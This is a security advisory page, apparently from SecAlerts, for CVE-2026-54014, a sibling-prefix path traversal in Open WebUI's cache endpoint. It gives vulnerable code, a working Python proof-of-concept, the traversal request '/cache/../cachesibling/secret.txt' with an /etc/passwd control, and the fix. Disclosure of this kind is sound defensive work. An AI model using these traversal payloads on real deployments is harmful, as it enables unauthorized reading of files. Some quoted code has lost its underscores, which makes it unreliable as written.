CVE-2026-54014: Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} in open-webui/open-webui

Published Jun 17, 2026
·
Updated

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that servecachefile() in openwebui/main.py validates the resolved path with filepath.startswith(os.path.abspath(CACHEDIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cachesibling, cachebackup, cachedmodels) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.

Exploitation constraints

| Constraint | Detail | |---|---| | Auth required | getverifieduser — any user with role user or admin | | Scope | Only sibling directories starting with cache (e.g. cachebackup, cachedmodels) | | Deep traversal | Blocked — ../../etc/passwd correctly fails the startswith check | | Absolute paths | Blocked — /etc/passwd correctly fails | | Client normalization | httpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload |

Vulnerability Details

Vulnerable function: servecachefile()

python openwebui/main.py, line 2907-2924 @app.get('/cache/{path:path}') async def servecachefile(path: str, user=Depends(getverifieduser)): filepath = os.path.abspath(os.path.join(CACHEDIR, path)) # prevent path traversal if not filepath.startswith(os.path.abspath(CACHEDIR)): # ← BUG: no trailing os.sep raise HTTPException(statuscode=404, detail='File not found') if not os.path.isfile(filepath): raise HTTPException(statuscode=404, detail='File not found') return FileResponse(filepath, headers=headers)

The bypass

python CACHEDIR = "/data/cache"

Attacker path: "../cachesibling/secret.txt" filepath = os.path.abspath(os.path.join("/data/cache", "../cachesibling/secret.txt")) → "/data/cachesibling/secret.txt"

"/data/cachesibling/secret.txt".startswith("/data/cache") → True ← BYPASS (because "cachesibling" starts with "cache")

Correct check would be: "/data/cachesibling/secret.txt".startswith("/data/cache/") → False ← BLOCKED

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | open-webui | 0.9.5 (pip installed) | | Python | 3.11 | | Import | from openwebui.main import app (true import, real FastAPI app) | | Method | Raw ASGI request (bypasses httpx client-side .. normalization) |

poc.py

python

import asyncio import os import shutil import sys import tempfile TEMPDATA = tempfile.mkdtemp(prefix="owuipoc") os.environ["DATADIR"] = TEMPDATA os.environ["WEBUISECRETKEY"] = "pocsecretkey12345" os.environ["WEBUIAUTH"] = "false" CACHEDIR = os.path.join(TEMPDATA, "cache") SIBLINGDIR = os.path.join(TEMPDATA, "cachesibling") os.makedirs(CACHEDIR, existok=True) os.makedirs(SIBLINGDIR, existok=True)

SECRETCONTENT = "STOLENFROMSIBLINGDIR" with open(os.path.join(SIBLINGDIR, "secret.txt"), "w") as f: f.write(SECRETCONTENT) with open(os.path.join(CACHEDIR, "legit.txt"), "w") as f: f.write("legitimatecachefile") from openwebui.main import app from openwebui.utils.auth import getverifieduser class FakeUser: id = "poc" email = "poc@test" role = "user"

app.dependencyoverrides[getverifieduser] = lambda: FakeUser() async def rawasgiget(app, path): """Send a raw ASGI request without client-side path normalization.""" scope = { "type": "http", "method": "GET", "path": path, "querystring": b"", "headers": [(b"host", b"localhost")], "rootpath": "", "asgi": {"version": "3.0"}, } responsestarted = False statuscode = None bodyparts = []

async def receive(): return {"type": "http.request", "body": b""}

async def send(message): nonlocal responsestarted, statuscode if message["type"] == "http.response.start": responsestarted = True statuscode = message["status"] elif message["type"] == "http.response.body": bodyparts.append(message.get("body", b""))

await app(scope, receive, send) return statuscode, b"".join(bodyparts)

async def main(): s1, b1 = await rawasgiget(app, "/cache/legit.txt") s2, b2 = await rawasgiget(app, "/cache/../cachesibling/secret.txt") s3, b3 = await rawasgiget(app, "/cache/../../etc/passwd")

baselineok = s1 == 200 and b"legitimatecachefile" in b1 exploitok = s2 == 200 and SECRETCONTENT.encode() in b2 deepblocked = s3 == 404

print(f"package: openwebui (pip installed)") print(f"version: 0.9.5") print(f"function: servecachefile (GET /cache/{{path}})") print(f"sink: main.py:2914 filepath.startswith(os.path.abspath(CACHEDIR))") print(f"bypass: startswith without trailing os.sep allows sibling-prefix match") print() print(f"CACHEDIR: {CACHEDIR}") print(f"SIBLING: {SIBLINGDIR}") print() print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}") print(f"[exploit] /cache/../cachesibling/secret.txt status={s2} body={b2[:40]!r}") print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)") print() print(f"result: {'VULNERABLE' if exploitok and baselineok and deepblocked else 'NOT CONFIRMED'}")

shutil.rmtree(TEMPDATA, ignoreerrors=True) sys.exit(0 if exploitok else 1)

if name == "main": asyncio.run(main())

PoC output

<img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" />

Suggested Fix

python if not filepath.startswith(os.path.abspath(CACHEDIR) + os.sep): raise HTTPException(statuscode=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that servecachefile() in openwebui/main.py validates the resolved path with filepath.startswith(os.path.abspath(CACHEDIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cachesibling, cachebackup, cachedmodels) to pass validation. This vulnerability is fixed in 0.9.6.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.9.5
0.9.6
openwebui Open WebUI<0.9.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  2. Upgrade

    Upgrade open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  3. Configuration

    Fix the incomplete `startswith` containment check in `serve_cache_file()` by appending the trailing path separator (`os.sep`) to the `CACHE_DIR` prefix (i.e., use `file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep)` instead of `file_path.startswith(os.path.abspath(CACHE_DIR))`).

    open-webui serve_cache_file() (open_webui/main.py) file_path startswith check prefix containment = file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep)

Event History

Jun 17, 2026
Advisory Published
via GitHub·02:16 PM
Data Sourced
via GitHub·02:16 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·04:45 PM
Data Sourced
via MITRE·04:45 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-54014?

The severity of CVE-2026-54014 is classified as medium with a score of 4.3.

2

How do I fix CVE-2026-54014?

To fix CVE-2026-54014, ensure that all user inputs are properly sanitized and implement complete containment checks for path traversals.

3

What is the impact of CVE-2026-54014?

CVE-2026-54014 allows authenticated users to read files from sibling directories outside the intended cache directory.

4

Which software is affected by CVE-2026-54014?

The vulnerability CVE-2026-54014 affects the open-webui software package.

5

What type of vulnerability is CVE-2026-54014?

CVE-2026-54014 is classified as a Path Traversal vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203